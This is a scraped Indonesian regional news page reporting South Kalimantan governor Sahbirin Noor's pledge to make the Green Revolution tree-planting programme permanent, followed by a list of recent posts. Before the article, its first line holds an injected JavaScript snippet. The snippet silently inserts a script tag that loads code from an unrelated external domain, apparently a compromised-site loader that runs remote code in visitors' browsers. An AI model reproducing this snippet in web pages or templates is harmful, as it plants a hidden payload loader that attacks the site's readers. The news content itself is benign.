(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DISHUT PROV KALSEL

Sahbirin: Gerakan Revolusi Hijau Akan Jadi Program Abadi Kalsel


PELAIHARI, Gubernur Kalsel Sahbirin Noor mengatakan Gerakan Revolusi Hijau adalah program prioritas permanen atau abadi bagi pemerintah Provinsi Kalsel. Kebijakan ini sebagai upaya memperbaiki dan meningkatkan kualitas lingkungan.

Hal itu tersebut disampaikan Gubernur usai acara peletakan batu pertama pembangunan gedung baru sekaligus melakukan penanaman seribu bibit pohon pertama dalam rangka revolusi hijau, di lingkungan madrasah se-Kalsel, di Kampus MAN Insan Cendekia Tanah Laut.

Gubernur Sahbirin menyampaikan selamat dan apresiasinya kepada Kementerian Agama Provinsi Kalimantan Selatan dan MAN Insan Cendikia Tanah Laut atas terselenggaranya program revolusi hijau tersebut. “Pembangunan gedung baru ini, untuk menunjang proses kelancaran belajar mengajar di kampus ini, semoga semuanya berjalan dengan lancar,” katanya.

Revolusi hijau, merupakan program yang akan selalu menjadi prioritas Pemprov Kalsel, dengan tujuan meningkatkan kualitas lingkungan melalui gerakan ‘Ayo Menanam, Menanam dan Menanam Untuk Anak-Cucu Kita.’ “Saya pribadi dan selaku pemerintah daerah sangat merespon positif kegiatan penghijauan seperti ini, apalagi kebiasaan menanam sudah terapkan sedini mungkin atau usia muda,” katanya.

Pada kesempatan tersebut, gubernur juga mengajak seluruh masyarakat, untuk terus melakukan kebiasaan menanam atau melakukan penghijauan. “Mari kita tanamkan kebiasaan menanam dalam diri kita, semoga dengan slogan menanam, menanam dan menanam untuk anak cucu kita, bisa menjadi penyemangat walaupun nantinya kita tidak bisa menikmati hasilnya, setidaknya ada yang diwariskan kepada anak cucu kita nantinya,” tandasnya.

Sebagaimana diketahui, luas lahan kritis di Kalsel berdasarkan data Balai Pengelolaan Daerah Aliran Sungai dan Hutan Lindung Barito tahun 2015, mencapai 640.708 hektare. Berdasarkan data tersebut, diperlukan langkah kongkret dari pemerintah provinsi dan Kementerian Lingkungan Hidup dan Kehutanan RI merehabilitasinya.

Salah satu program yang dilakukan, untuk mengatasi lahan kritis tersebut adalah turut menggaungkan Gerakan Revolusi Hijau dengan kegiatan rehabilitasi lahan kritis dan penghijauan.(rendy)

Reporter:Rendy
Editor: Cell

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

7 menit ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

2 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

21 jam ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

Laka Maut di Kawasan Murdjani Banjarbaru, Satu Pemotor Jalan Melawan Arus

KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More

1 hari ago

Debit BRI Multicurrency: Solusi Transaksi Global Tanpa Biaya Tambahan

KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More

1 hari ago

This website uses cookies.